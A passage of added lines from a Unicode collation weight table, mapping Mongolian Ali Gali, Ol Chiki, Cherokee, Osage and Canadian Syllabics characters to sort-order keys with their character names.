+1889  ; [.3330.0020.0002] # MONGOLIAN LETTER ALI GALI KA
+183B  ; [.3331.0020.0002] # MONGOLIAN LETTER KHA
+183C  ; [.3332.0020.0002] # MONGOLIAN LETTER TSA
+1854  ; [.3333.0020.0002] # MONGOLIAN LETTER TODO TSA
+186E  ; [.3334.0020.0002] # MONGOLIAN LETTER SIBE TSA
+183D  ; [.3335.0020.0002] # MONGOLIAN LETTER ZA
+186F  ; [.3336.0020.0002] # MONGOLIAN LETTER SIBE ZA
+1858  ; [.3337.0020.0002] # MONGOLIAN LETTER TODO GAA
+186C  ; [.3338.0020.0002] # MONGOLIAN LETTER SIBE GAA
+183E  ; [.3339.0020.0002] # MONGOLIAN LETTER HAA
+1859  ; [.333A.0020.0002] # MONGOLIAN LETTER TODO HAA
+186D  ; [.333B.0020.0002] # MONGOLIAN LETTER SIBE HAA
+183F  ; [.333C.0020.0002] # MONGOLIAN LETTER ZRA
+1840  ; [.333D.0020.0002] # MONGOLIAN LETTER LHA
+1841  ; [.333E.0020.0002] # MONGOLIAN LETTER ZHI
+1842  ; [.333F.0020.0002] # MONGOLIAN LETTER CHI
+185A  ; [.3340.0020.0002] # MONGOLIAN LETTER TODO JIA
+185B  ; [.3341.0020.0002] # MONGOLIAN LETTER TODO NIA
+1870  ; [.3342.0020.0002] # MONGOLIAN LETTER SIBE RAA
+188C  ; [.3343.0020.0002] # MONGOLIAN LETTER ALI GALI TTA
+189E  ; [.3344.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI TTA
+188D  ; [.3345.0020.0002] # MONGOLIAN LETTER ALI GALI TTHA
+188E  ; [.3346.0020.0002] # MONGOLIAN LETTER ALI GALI DDA
+189F  ; [.3347.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI DDHA
+188F  ; [.3348.0020.0002] # MONGOLIAN LETTER ALI GALI NNA
+1890  ; [.3349.0020.0002] # MONGOLIAN LETTER ALI GALI TA
+1898  ; [.334A.0020.0002] # MONGOLIAN LETTER TODO ALI GALI TA
+18A0  ; [.334B.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI TA
+1891  ; [.334C.0020.0002] # MONGOLIAN LETTER ALI GALI DA
+18A1  ; [.334D.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI DHA
+1892  ; [.334E.0020.0002] # MONGOLIAN LETTER ALI GALI PA
+1893  ; [.334F.0020.0002] # MONGOLIAN LETTER ALI GALI PHA
+18A8  ; [.3350.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI BHA
+1894  ; [.3351.0020.0002] # MONGOLIAN LETTER ALI GALI SSA
+18A3  ; [.3352.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI CYA
+1895  ; [.3353.0020.0002] # MONGOLIAN LETTER ALI GALI ZHA
+1899  ; [.3354.0020.0002] # MONGOLIAN LETTER TODO ALI GALI ZHA
+1896  ; [.3355.0020.0002] # MONGOLIAN LETTER ALI GALI ZA
+1897  ; [.3356.0020.0002] # MONGOLIAN LETTER ALI GALI AH
+18A6  ; [.3357.0020.0002] # MONGOLIAN LETTER ALI GALI HALF U
+18A7  ; [.3358.0020.0002] # MONGOLIAN LETTER ALI GALI HALF YA
+18AA  ; [.3359.0020.0002] # MONGOLIAN LETTER MANCHU ALI GALI LHA
+18A9  ; [.335A.0020.0002] # MONGOLIAN LETTER ALI GALI DAGALGA
+1C5A  ; [.335B.0020.0002] # OL CHIKI LETTER LA
+1C5B  ; [.335C.0020.0002] # OL CHIKI LETTER AT
+1C5C  ; [.335D.0020.0002] # OL CHIKI LETTER AG
+1C5D  ; [.335E.0020.0002] # OL CHIKI LETTER ANG
+1C5E  ; [.335F.0020.0002] # OL CHIKI LETTER AL
+1C5F  ; [.3360.0020.0002] # OL CHIKI LETTER LAA
+1C60  ; [.3361.0020.0002] # OL CHIKI LETTER AAK
+1C61  ; [.3362.0020.0002] # OL CHIKI LETTER AAJ
+1C62  ; [.3363.0020.0002] # OL CHIKI LETTER AAM
+1C63  ; [.3364.0020.0002] # OL CHIKI LETTER AAW
+1C64  ; [.3365.0020.0002] # OL CHIKI LETTER LI
+1C65  ; [.3366.0020.0002] # OL CHIKI LETTER IS
+1C66  ; [.3367.0020.0002] # OL CHIKI LETTER IH
+1C67  ; [.3368.0020.0002] # OL CHIKI LETTER INY
+1C68  ; [.3369.0020.0002] # OL CHIKI LETTER IR
+1C69  ; [.336A.0020.0002] # OL CHIKI LETTER LU
+1C6A  ; [.336B.0020.0002] # OL CHIKI LETTER UC
+1C6B  ; [.336C.0020.0002] # OL CHIKI LETTER UD
+1C6C  ; [.336D.0020.0002] # OL CHIKI LETTER UNN
+1C6D  ; [.336E.0020.0002] # OL CHIKI LETTER UY
+1C6E  ; [.336F.0020.0002] # OL CHIKI LETTER LE
+1C6F  ; [.3370.0020.0002] # OL CHIKI LETTER EP
+1C70  ; [.3371.0020.0002] # OL CHIKI LETTER EDD
+1C71  ; [.3372.0020.0002] # OL CHIKI LETTER EN
+1C72  ; [.3373.0020.0002] # OL CHIKI LETTER ERR
+1C73  ; [.3374.0020.0002] # OL CHIKI LETTER LO
+1C74  ; [.3375.0020.0002] # OL CHIKI LETTER OTT
+1C75  ; [.3376.0020.0002] # OL CHIKI LETTER OB
+1C76  ; [.3377.0020.0002] # OL CHIKI LETTER OV
+1C77  ; [.3378.0020.0002] # OL CHIKI LETTER OH
+1C78  ; [.3379.0020.0002] # OL CHIKI MU TTUDDAG
+1C79  ; [.337A.0020.0002] # OL CHIKI GAAHLAA TTUDDAAG
+1C7A  ; [.337B.0020.0002] # OL CHIKI MU-GAAHLAA TTUDDAAG
+1C7B  ; [.337C.0020.0002] # OL CHIKI RELAA
+1C7C  ; [.337D.0020.0002] # OL CHIKI PHAARKAA
+1C7D  ; [.337E.0020.0002] # OL CHIKI AHAD
+AB70  ; [.337F.0020.0002] # CHEROKEE SMALL LETTER A
+13A0  ; [.337F.0020.0008] # CHEROKEE LETTER A
+AB71  ; [.3380.0020.0002] # CHEROKEE SMALL LETTER E
+13A1  ; [.3380.0020.0008] # CHEROKEE LETTER E
+AB72  ; [.3381.0020.0002] # CHEROKEE SMALL LETTER I
+13A2  ; [.3381.0020.0008] # CHEROKEE LETTER I
+AB73  ; [.3382.0020.0002] # CHEROKEE SMALL LETTER O
+13A3  ; [.3382.0020.0008] # CHEROKEE LETTER O
+AB74  ; [.3383.0020.0002] # CHEROKEE SMALL LETTER U
+13A4  ; [.3383.0020.0008] # CHEROKEE LETTER U
+AB75  ; [.3384.0020.0002] # CHEROKEE SMALL LETTER V
+13A5  ; [.3384.0020.0008] # CHEROKEE LETTER V
+AB76  ; [.3385.0020.0002] # CHEROKEE SMALL LETTER GA
+13A6  ; [.3385.0020.0008] # CHEROKEE LETTER GA
+AB77  ; [.3386.0020.0002] # CHEROKEE SMALL LETTER KA
+13A7  ; [.3386.0020.0008] # CHEROKEE LETTER KA
+AB78  ; [.3387.0020.0002] # CHEROKEE SMALL LETTER GE
+13A8  ; [.3387.0020.0008] # CHEROKEE LETTER GE
+AB79  ; [.3388.0020.0002] # CHEROKEE SMALL LETTER GI
+13A9  ; [.3388.0020.0008] # CHEROKEE LETTER GI
+AB7A  ; [.3389.0020.0002] # CHEROKEE SMALL LETTER GO
+13AA  ; [.3389.0020.0008] # CHEROKEE LETTER GO
+AB7B  ; [.338A.0020.0002] # CHEROKEE SMALL LETTER GU
+13AB  ; [.338A.0020.0008] # CHEROKEE LETTER GU
+AB7C  ; [.338B.0020.0002] # CHEROKEE SMALL LETTER GV
+13AC  ; [.338B.0020.0008] # CHEROKEE LETTER GV
+AB7D  ; [.338C.0020.0002] # CHEROKEE SMALL LETTER HA
+13AD  ; [.338C.0020.0008] # CHEROKEE LETTER HA
+AB7E  ; [.338D.0020.0002] # CHEROKEE SMALL LETTER HE
+13AE  ; [.338D.0020.0008] # CHEROKEE LETTER HE
+AB7F  ; [.338E.0020.0002] # CHEROKEE SMALL LETTER HI
+13AF  ; [.338E.0020.0008] # CHEROKEE LETTER HI
+AB80  ; [.338F.0020.0002] # CHEROKEE SMALL LETTER HO
+13B0  ; [.338F.0020.0008] # CHEROKEE LETTER HO
+AB81  ; [.3390.0020.0002] # CHEROKEE SMALL LETTER HU
+13B1  ; [.3390.0020.0008] # CHEROKEE LETTER HU
+AB82  ; [.3391.0020.0002] # CHEROKEE SMALL LETTER HV
+13B2  ; [.3391.0020.0008] # CHEROKEE LETTER HV
+AB83  ; [.3392.0020.0002] # CHEROKEE SMALL LETTER LA
+13B3  ; [.3392.0020.0008] # CHEROKEE LETTER LA
+AB84  ; [.3393.0020.0002] # CHEROKEE SMALL LETTER LE
+13B4  ; [.3393.0020.0008] # CHEROKEE LETTER LE
+AB85  ; [.3394.0020.0002] # CHEROKEE SMALL LETTER LI
+13B5  ; [.3394.0020.0008] # CHEROKEE LETTER LI
+AB86  ; [.3395.0020.0002] # CHEROKEE SMALL LETTER LO
+13B6  ; [.3395.0020.0008] # CHEROKEE LETTER LO
+AB87  ; [.3396.0020.0002] # CHEROKEE SMALL LETTER LU
+13B7  ; [.3396.0020.0008] # CHEROKEE LETTER LU
+AB88  ; [.3397.0020.0002] # CHEROKEE SMALL LETTER LV
+13B8  ; [.3397.0020.0008] # CHEROKEE LETTER LV
+AB89  ; [.3398.0020.0002] # CHEROKEE SMALL LETTER MA
+13B9  ; [.3398.0020.0008] # CHEROKEE LETTER MA
+AB8A  ; [.3399.0020.0002] # CHEROKEE SMALL LETTER ME
+13BA  ; [.3399.0020.0008] # CHEROKEE LETTER ME
+AB8B  ; [.339A.0020.0002] # CHEROKEE SMALL LETTER MI
+13BB  ; [.339A.0020.0008] # CHEROKEE LETTER MI
+AB8C  ; [.339B.0020.0002] # CHEROKEE SMALL LETTER MO
+13BC  ; [.339B.0020.0008] # CHEROKEE LETTER MO
+AB8D  ; [.339C.0020.0002] # CHEROKEE SMALL LETTER MU
+13BD  ; [.339C.0020.0008] # CHEROKEE LETTER MU
+AB8E  ; [.339D.0020.0002] # CHEROKEE SMALL LETTER NA
+13BE  ; [.339D.0020.0008] # CHEROKEE LETTER NA
+AB8F  ; [.339E.0020.0002] # CHEROKEE SMALL LETTER HNA
+13BF  ; [.339E.0020.0008] # CHEROKEE LETTER HNA
+AB90  ; [.339F.0020.0002] # CHEROKEE SMALL LETTER NAH
+13C0  ; [.339F.0020.0008] # CHEROKEE LETTER NAH
+AB91  ; [.33A0.0020.0002] # CHEROKEE SMALL LETTER NE
+13C1  ; [.33A0.0020.0008] # CHEROKEE LETTER NE
+AB92  ; [.33A1.0020.0002] # CHEROKEE SMALL LETTER NI
+13C2  ; [.33A1.0020.0008] # CHEROKEE LETTER NI
+AB93  ; [.33A2.0020.0002] # CHEROKEE SMALL LETTER NO
+13C3  ; [.33A2.0020.0008] # CHEROKEE LETTER NO
+AB94  ; [.33A3.0020.0002] # CHEROKEE SMALL LETTER NU
+13C4  ; [.33A3.0020.0008] # CHEROKEE LETTER NU
+AB95  ; [.33A4.0020.0002] # CHEROKEE SMALL LETTER NV
+13C5  ; [.33A4.0020.0008] # CHEROKEE LETTER NV
+AB96  ; [.33A5.0020.0002] # CHEROKEE SMALL LETTER QUA
+13C6  ; [.33A5.0020.0008] # CHEROKEE LETTER QUA
+AB97  ; [.33A6.0020.0002] # CHEROKEE SMALL LETTER QUE
+13C7  ; [.33A6.0020.0008] # CHEROKEE LETTER QUE
+AB98  ; [.33A7.0020.0002] # CHEROKEE SMALL LETTER QUI
+13C8  ; [.33A7.0020.0008] # CHEROKEE LETTER QUI
+AB99  ; [.33A8.0020.0002] # CHEROKEE SMALL LETTER QUO
+13C9  ; [.33A8.0020.0008] # CHEROKEE LETTER QUO
+AB9A  ; [.33A9.0020.0002] # CHEROKEE SMALL LETTER QUU
+13CA  ; [.33A9.0020.0008] # CHEROKEE LETTER QUU
+AB9B  ; [.33AA.0020.0002] # CHEROKEE SMALL LETTER QUV
+13CB  ; [.33AA.0020.0008] # CHEROKEE LETTER QUV
+AB9C  ; [.33AB.0020.0002] # CHEROKEE SMALL LETTER SA
+13CC  ; [.33AB.0020.0008] # CHEROKEE LETTER SA
+AB9D  ; [.33AC.0020.0002] # CHEROKEE SMALL LETTER S
+13CD  ; [.33AC.0020.0008] # CHEROKEE LETTER S
+AB9E  ; [.33AD.0020.0002] # CHEROKEE SMALL LETTER SE
+13CE  ; [.33AD.0020.0008] # CHEROKEE LETTER SE
+AB9F  ; [.33AE.0020.0002] # CHEROKEE SMALL LETTER SI
+13CF  ; [.33AE.0020.0008] # CHEROKEE LETTER SI
+ABA0  ; [.33AF.0020.0002] # CHEROKEE SMALL LETTER SO
+13D0  ; [.33AF.0020.0008] # CHEROKEE LETTER SO
+ABA1  ; [.33B0.0020.0002] # CHEROKEE SMALL LETTER SU
+13D1  ; [.33B0.0020.0008] # CHEROKEE LETTER SU
+ABA2  ; [.33B1.0020.0002] # CHEROKEE SMALL LETTER SV
+13D2  ; [.33B1.0020.0008] # CHEROKEE LETTER SV
+ABA3  ; [.33B2.0020.0002] # CHEROKEE SMALL LETTER DA
+13D3  ; [.33B2.0020.0008] # CHEROKEE LETTER DA
+ABA4  ; [.33B3.0020.0002] # CHEROKEE SMALL LETTER TA
+13D4  ; [.33B3.0020.0008] # CHEROKEE LETTER TA
+ABA5  ; [.33B4.0020.0002] # CHEROKEE SMALL LETTER DE
+13D5  ; [.33B4.0020.0008] # CHEROKEE LETTER DE
+ABA6  ; [.33B5.0020.0002] # CHEROKEE SMALL LETTER TE
+13D6  ; [.33B5.0020.0008] # CHEROKEE LETTER TE
+ABA7  ; [.33B6.0020.0002] # CHEROKEE SMALL LETTER DI
+13D7  ; [.33B6.0020.0008] # CHEROKEE LETTER DI
+ABA8  ; [.33B7.0020.0002] # CHEROKEE SMALL LETTER TI
+13D8  ; [.33B7.0020.0008] # CHEROKEE LETTER TI
+ABA9  ; [.33B8.0020.0002] # CHEROKEE SMALL LETTER DO
+13D9  ; [.33B8.0020.0008] # CHEROKEE LETTER DO
+ABAA  ; [.33B9.0020.0002] # CHEROKEE SMALL LETTER DU
+13DA  ; [.33B9.0020.0008] # CHEROKEE LETTER DU
+ABAB  ; [.33BA.0020.0002] # CHEROKEE SMALL LETTER DV
+13DB  ; [.33BA.0020.0008] # CHEROKEE LETTER DV
+ABAC  ; [.33BB.0020.0002] # CHEROKEE SMALL LETTER DLA
+13DC  ; [.33BB.0020.0008] # CHEROKEE LETTER DLA
+ABAD  ; [.33BC.0020.0002] # CHEROKEE SMALL LETTER TLA
+13DD  ; [.33BC.0020.0008] # CHEROKEE LETTER TLA
+ABAE  ; [.33BD.0020.0002] # CHEROKEE SMALL LETTER TLE
+13DE  ; [.33BD.0020.0008] # CHEROKEE LETTER TLE
+ABAF  ; [.33BE.0020.0002] # CHEROKEE SMALL LETTER TLI
+13DF  ; [.33BE.0020.0008] # CHEROKEE LETTER TLI
+ABB0  ; [.33BF.0020.0002] # CHEROKEE SMALL LETTER TLO
+13E0  ; [.33BF.0020.0008] # CHEROKEE LETTER TLO
+ABB1  ; [.33C0.0020.0002] # CHEROKEE SMALL LETTER TLU
+13E1  ; [.33C0.0020.0008] # CHEROKEE LETTER TLU
+ABB2  ; [.33C1.0020.0002] # CHEROKEE SMALL LETTER TLV
+13E2  ; [.33C1.0020.0008] # CHEROKEE LETTER TLV
+ABB3  ; [.33C2.0020.0002] # CHEROKEE SMALL LETTER TSA
+13E3  ; [.33C2.0020.0008] # CHEROKEE LETTER TSA
+ABB4  ; [.33C3.0020.0002] # CHEROKEE SMALL LETTER TSE
+13E4  ; [.33C3.0020.0008] # CHEROKEE LETTER TSE
+ABB5  ; [.33C4.0020.0002] # CHEROKEE SMALL LETTER TSI
+13E5  ; [.33C4.0020.0008] # CHEROKEE LETTER TSI
+ABB6  ; [.33C5.0020.0002] # CHEROKEE SMALL LETTER TSO
+13E6  ; [.33C5.0020.0008] # CHEROKEE LETTER TSO
+ABB7  ; [.33C6.0020.0002] # CHEROKEE SMALL LETTER TSU
+13E7  ; [.33C6.0020.0008] # CHEROKEE LETTER TSU
+ABB8  ; [.33C7.0020.0002] # CHEROKEE SMALL LETTER TSV
+13E8  ; [.33C7.0020.0008] # CHEROKEE LETTER TSV
+ABB9  ; [.33C8.0020.0002] # CHEROKEE SMALL LETTER WA
+13E9  ; [.33C8.0020.0008] # CHEROKEE LETTER WA
+ABBA  ; [.33C9.0020.0002] # CHEROKEE SMALL LETTER WE
+13EA  ; [.33C9.0020.0008] # CHEROKEE LETTER WE
+ABBB  ; [.33CA.0020.0002] # CHEROKEE SMALL LETTER WI
+13EB  ; [.33CA.0020.0008] # CHEROKEE LETTER WI
+ABBC  ; [.33CB.0020.0002] # CHEROKEE SMALL LETTER WO
+13EC  ; [.33CB.0020.0008] # CHEROKEE LETTER WO
+ABBD  ; [.33CC.0020.0002] # CHEROKEE SMALL LETTER WU
+13ED  ; [.33CC.0020.0008] # CHEROKEE LETTER WU
+ABBE  ; [.33CD.0020.0002] # CHEROKEE SMALL LETTER WV
+13EE  ; [.33CD.0020.0008] # CHEROKEE LETTER WV
+ABBF  ; [.33CE.0020.0002] # CHEROKEE SMALL LETTER YA
+13EF  ; [.33CE.0020.0008] # CHEROKEE LETTER YA
+13F8  ; [.33CF.0020.0002] # CHEROKEE SMALL LETTER YE
+13F0  ; [.33CF.0020.0008] # CHEROKEE LETTER YE
+13F9  ; [.33D0.0020.0002] # CHEROKEE SMALL LETTER YI
+13F1  ; [.33D0.0020.0008] # CHEROKEE LETTER YI
+13FA  ; [.33D1.0020.0002] # CHEROKEE SMALL LETTER YO
+13F2  ; [.33D1.0020.0008] # CHEROKEE LETTER YO
+13FB  ; [.33D2.0020.0002] # CHEROKEE SMALL LETTER YU
+13F3  ; [.33D2.0020.0008] # CHEROKEE LETTER YU
+13FC  ; [.33D3.0020.0002] # CHEROKEE SMALL LETTER YV
+13F4  ; [.33D3.0020.0008] # CHEROKEE LETTER YV
+13FD  ; [.33D4.0020.0002] # CHEROKEE SMALL LETTER MV
+13F5  ; [.33D4.0020.0008] # CHEROKEE LETTER MV
+104D8 ; [.33D5.0020.0002] # OSAGE SMALL LETTER A
+104B0 ; [.33D5.0020.0008] # OSAGE CAPITAL LETTER A
+104D9 ; [.33D6.0020.0002] # OSAGE SMALL LETTER AI
+104B1 ; [.33D6.0020.0008] # OSAGE CAPITAL LETTER AI
+104DA ; [.33D7.0020.0002] # OSAGE SMALL LETTER AIN
+104B2 ; [.33D7.0020.0008] # OSAGE CAPITAL LETTER AIN
+104DB ; [.33D8.0020.0002] # OSAGE SMALL LETTER AH
+104B3 ; [.33D8.0020.0008] # OSAGE CAPITAL LETTER AH
+104DC ; [.33D9.0020.0002] # OSAGE SMALL LETTER BRA
+104B4 ; [.33D9.0020.0008] # OSAGE CAPITAL LETTER BRA
+104DD ; [.33DA.0020.0002] # OSAGE SMALL LETTER CHA
+104B5 ; [.33DA.0020.0008] # OSAGE CAPITAL LETTER CHA
+104DE ; [.33DB.0020.0002] # OSAGE SMALL LETTER EHCHA
+104B6 ; [.33DB.0020.0008] # OSAGE CAPITAL LETTER EHCHA
+104DF ; [.33DC.0020.0002] # OSAGE SMALL LETTER E
+104B7 ; [.33DC.0020.0008] # OSAGE CAPITAL LETTER E
+104E0 ; [.33DD.0020.0002] # OSAGE SMALL LETTER EIN
+104B8 ; [.33DD.0020.0008] # OSAGE CAPITAL LETTER EIN
+104E1 ; [.33DE.0020.0002] # OSAGE SMALL LETTER HA
+104B9 ; [.33DE.0020.0008] # OSAGE CAPITAL LETTER HA
+104E2 ; [.33DF.0020.0002] # OSAGE SMALL LETTER HYA
+104BA ; [.33DF.0020.0008] # OSAGE CAPITAL LETTER HYA
+104E3 ; [.33E0.0020.0002] # OSAGE SMALL LETTER I
+104BB ; [.33E0.0020.0008] # OSAGE CAPITAL LETTER I
+104E4 ; [.33E1.0020.0002] # OSAGE SMALL LETTER KA
+104BC ; [.33E1.0020.0008] # OSAGE CAPITAL LETTER KA
+104E5 ; [.33E2.0020.0002] # OSAGE SMALL LETTER EHKA
+104BD ; [.33E2.0020.0008] # OSAGE CAPITAL LETTER EHKA
+104E6 ; [.33E3.0020.0002] # OSAGE SMALL LETTER KYA
+104BE ; [.33E3.0020.0008] # OSAGE CAPITAL LETTER KYA
+104E7 ; [.33E4.0020.0002] # OSAGE SMALL LETTER LA
+104BF ; [.33E4.0020.0008] # OSAGE CAPITAL LETTER LA
+104E8 ; [.33E5.0020.0002] # OSAGE SMALL LETTER MA
+104C0 ; [.33E5.0020.0008] # OSAGE CAPITAL LETTER MA
+104E9 ; [.33E6.0020.0002] # OSAGE SMALL LETTER NA
+104C1 ; [.33E6.0020.0008] # OSAGE CAPITAL LETTER NA
+104EA ; [.33E7.0020.0002] # OSAGE SMALL LETTER O
+104C2 ; [.33E7.0020.0008] # OSAGE CAPITAL LETTER O
+104EB ; [.33E8.0020.0002] # OSAGE SMALL LETTER OIN
+104C3 ; [.33E8.0020.0008] # OSAGE CAPITAL LETTER OIN
+104EC ; [.33E9.0020.0002] # OSAGE SMALL LETTER PA
+104C4 ; [.33E9.0020.0008] # OSAGE CAPITAL LETTER PA
+104ED ; [.33EA.0020.0002] # OSAGE SMALL LETTER EHPA
+104C5 ; [.33EA.0020.0008] # OSAGE CAPITAL LETTER EHPA
+104EE ; [.33EB.0020.0002] # OSAGE SMALL LETTER SA
+104C6 ; [.33EB.0020.0008] # OSAGE CAPITAL LETTER SA
+104EF ; [.33EC.0020.0002] # OSAGE SMALL LETTER SHA
+104C7 ; [.33EC.0020.0008] # OSAGE CAPITAL LETTER SHA
+104F0 ; [.33ED.0020.0002] # OSAGE SMALL LETTER TA
+104C8 ; [.33ED.0020.0008] # OSAGE CAPITAL LETTER TA
+104F1 ; [.33EE.0020.0002] # OSAGE SMALL LETTER EHTA
+104C9 ; [.33EE.0020.0008] # OSAGE CAPITAL LETTER EHTA
+104F2 ; [.33EF.0020.0002] # OSAGE SMALL LETTER TSA
+104CA ; [.33EF.0020.0008] # OSAGE CAPITAL LETTER TSA
+104F3 ; [.33F0.0020.0002] # OSAGE SMALL LETTER EHTSA
+104CB ; [.33F0.0020.0008] # OSAGE CAPITAL LETTER EHTSA
+104F4 ; [.33F1.0020.0002] # OSAGE SMALL LETTER TSHA
+104CC ; [.33F1.0020.0008] # OSAGE CAPITAL LETTER TSHA
+104F5 ; [.33F2.0020.0002] # OSAGE SMALL LETTER DHA
+104CD ; [.33F2.0020.0008] # OSAGE CAPITAL LETTER DHA
+104F6 ; [.33F3.0020.0002] # OSAGE SMALL LETTER U
+104CE ; [.33F3.0020.0008] # OSAGE CAPITAL LETTER U
+104F7 ; [.33F4.0020.0002] # OSAGE SMALL LETTER WA
+104CF ; [.33F4.0020.0008] # OSAGE CAPITAL LETTER WA
+104F8 ; [.33F5.0020.0002] # OSAGE SMALL LETTER KHA
+104D0 ; [.33F5.0020.0008] # OSAGE CAPITAL LETTER KHA
+104F9 ; [.33F6.0020.0002] # OSAGE SMALL LETTER GHA
+104D1 ; [.33F6.0020.0008] # OSAGE CAPITAL LETTER GHA
+104FA ; [.33F7.0020.0002] # OSAGE SMALL LETTER ZA
+104D2 ; [.33F7.0020.0008] # OSAGE CAPITAL LETTER ZA
+104FB ; [.33F8.0020.0002] # OSAGE SMALL LETTER ZHA
+104D3 ; [.33F8.0020.0008] # OSAGE CAPITAL LETTER ZHA
+1401  ; [.33F9.0020.0002] # CANADIAN SYLLABICS E
+1402  ; [.33FA.0020.0002] # CANADIAN SYLLABICS AAI
+1403  ; [.33FB.0020.0002] # CANADIAN SYLLABICS I
+1404  ; [.33FC.0020.0002] # CANADIAN SYLLABICS II
+1405  ; [.33FD.0020.0002] # CANADIAN SYLLABICS O
+1406  ; [.33FE.0020.0002] # CANADIAN SYLLABICS OO
+1407  ; [.33FF.0020.0002] # CANADIAN SYLLABICS Y-CREE OO
+1408  ; [.3400.0020.0002] # CANADIAN SYLLABICS CARRIER EE
+1409  ; [.3401.0020.0002] # CANADIAN SYLLABICS CARRIER I
+140A  ; [.3402.0020.0002] # CANADIAN SYLLABICS A
+140B  ; [.3403.0020.0002] # CANADIAN SYLLABICS AA
+140C  ; [.3404.0020.0002] # CANADIAN SYLLABICS WE
+140D  ; [.3405.0020.0002] # CANADIAN SYLLABICS WEST-CREE WE
+140E  ; [.3406.0020.0002] # CANADIAN SYLLABICS WI
+140F  ; [.3407.0020.0002] # CANADIAN SYLLABICS WEST-CREE WI
+1410  ; [.3408.0020.0002] # CANADIAN SYLLABICS WII
+1411  ; [.3409.0020.0002] # CANADIAN SYLLABICS WEST-CREE WII
+1412  ; [.340A.0020.0002] # CANADIAN SYLLABICS WO
+1413  ; [.340B.0020.0002] # CANADIAN SYLLABICS WEST-CREE WO
+1414  ; [.340C.0020.0002] # CANADIAN SYLLABICS WOO
+1415  ; [.340D.0020.0002] # CANADIAN SYLLABICS WEST-CREE WOO
+1416  ; [.340E.0020.0002] # CANADIAN SYLLABICS NASKAPI WOO
+1417  ; [.340F.0020.0002] # CANADIAN SYLLABICS WA
+1418  ; [.3410.0020.0002] # CANADIAN SYLLABICS WEST-CREE WA
+1419  ; [.3411.0020.0002] # CANADIAN SYLLABICS WAA
+141A  ; [.3412.0020.0002] # CANADIAN SYLLABICS WEST-CREE WAA
+141B  ; [.3413.0020.0002] # CANADIAN SYLLABICS NASKAPI WAA
+141C  ; [.3414.0020.0002] # CANADIAN SYLLABICS AI
+141D  ; [.3415.0020.0002] # CANADIAN SYLLABICS Y-CREE W
+141E  ; [.3416.0020.0002] # CANADIAN SYLLABICS GLOTTAL STOP
+141F  ; [.3417.0020.0002] # CANADIAN SYLLABICS FINAL ACUTE
+1420  ; [.3418.0020.0002] # CANADIAN SYLLABICS FINAL GRAVE
+1421  ; [.3419.0020.0002] # CANADIAN SYLLABICS FINAL BOTTOM HALF RING
+1422  ; [.341A.0020.0002] # CANADIAN SYLLABICS FINAL TOP HALF RING
+1423  ; [.341B.0020.0002] # CANADIAN SYLLABICS FINAL RIGHT HALF RING
+1424  ; [.341C.0020.0002] # CANADIAN SYLLABICS FINAL RING
+1425  ; [.341D.0020.0002] # CANADIAN SYLLABICS FINAL DOUBLE ACUTE
+1426  ; [.341E.0020.0002] # CANADIAN SYLLABICS FINAL DOUBLE SHORT VERTICAL STROKES
+1427  ; [.341F.0020.0002] # CANADIAN SYLLABICS FINAL MIDDLE DOT
+1428  ; [.3420.0020.0002] # CANADIAN SYLLABICS FINAL SHORT HORIZONTAL STROKE
+1429  ; [.3421.0020.0002] # CANADIAN SYLLABICS FINAL PLUS
+142A  ; [.3422.0020.0002] # CANADIAN SYLLABICS FINAL DOWN TACK
+142B  ; [.3423.0020.0002] # CANADIAN SYLLABICS EN
+142C  ; [.3424.0020.0002] # CANADIAN SYLLABICS IN
+142D  ; [.3425.0020.0002] # CANADIAN SYLLABICS ON
+142E  ; [.3426.0020.0002] # CANADIAN SYLLABICS AN
+142F  ; [.3427.0020.0002] # CANADIAN SYLLABICS PE
+1430  ; [.3428.0020.0002] # CANADIAN SYLLABICS PAAI
+1431  ; [.3429.0020.0002] # CANADIAN SYLLABICS PI
+1432  ; [.342A.0020.0002] # CANADIAN SYLLABICS PII
+1433  ; [.342B.0020.0002] # CANADIAN SYLLABICS PO
+1434  ; [.342C.0020.0002] # CANADIAN SYLLABICS POO
+1435  ; [.342D.0020.0002] # CANADIAN SYLLABICS Y-CREE POO
+1436  ; [.342E.0020.0002] # CANADIAN SYLLABICS CARRIER HEE
+1437  ; [.342F.0020.0002] # CANADIAN SYLLABICS CARRIER HI
+1438  ; [.3430.0020.0002] # CANADIAN SYLLABICS PA
+1439  ; [.3431.0020.0002] # CANADIAN SYLLABICS PAA
+143A  ; [.3432.0020.0002] # CANADIAN SYLLABICS PWE
+143B  ; [.3433.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWE
+143C  ; [.3434.0020.0002] # CANADIAN SYLLABICS PWI
+143D  ; [.3435.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWI
+143E  ; [.3436.0020.0002] # CANADIAN SYLLABICS PWII
+143F  ; [.3437.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWII
+1440  ; [.3438.0020.0002] # CANADIAN SYLLABICS PWO
+1441  ; [.3439.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWO
+1442  ; [.343A.0020.0002] # CANADIAN SYLLABICS PWOO
+1443  ; [.343B.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWOO
+1444  ; [.343C.0020.0002] # CANADIAN SYLLABICS PWA
+1445  ; [.343D.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWA
+1446  ; [.343E.0020.0002] # CANADIAN SYLLABICS PWAA
+1447  ; [.343F.0020.0002] # CANADIAN SYLLABICS WEST-CREE PWAA
+1448  ; [.3440.0020.0002] # CANADIAN SYLLABICS Y-CREE PWAA
+1449  ; [.3441.0020.0002] # CANADIAN SYLLABICS P
+144A  ; [.3442.0020.0002] # CANADIAN SYLLABICS WEST-CREE P
+144B  ; [.3443.0020.0002] # CANADIAN SYLLABICS CARRIER H
+144C  ; [.3444.0020.0002] # CANADIAN SYLLABICS TE
+144D  ; [.3445.0020.0002] # CANADIAN SYLLABICS TAAI
+144E  ; [.3446.0020.0002] # CANADIAN SYLLABICS TI
+144F  ; [.3447.0020.0002] # CANADIAN SYLLABICS TII
+1450  ; [.3448.0020.0002] # CANADIAN SYLLABICS TO
+1451  ; [.3449.0020.0002] # CANADIAN SYLLABICS TOO
+1452  ; [.344A.0020.0002] # CANADIAN SYLLABICS Y-CREE TOO
+1453  ; [.344B.0020.0002] # CANADIAN SYLLABICS CARRIER DEE
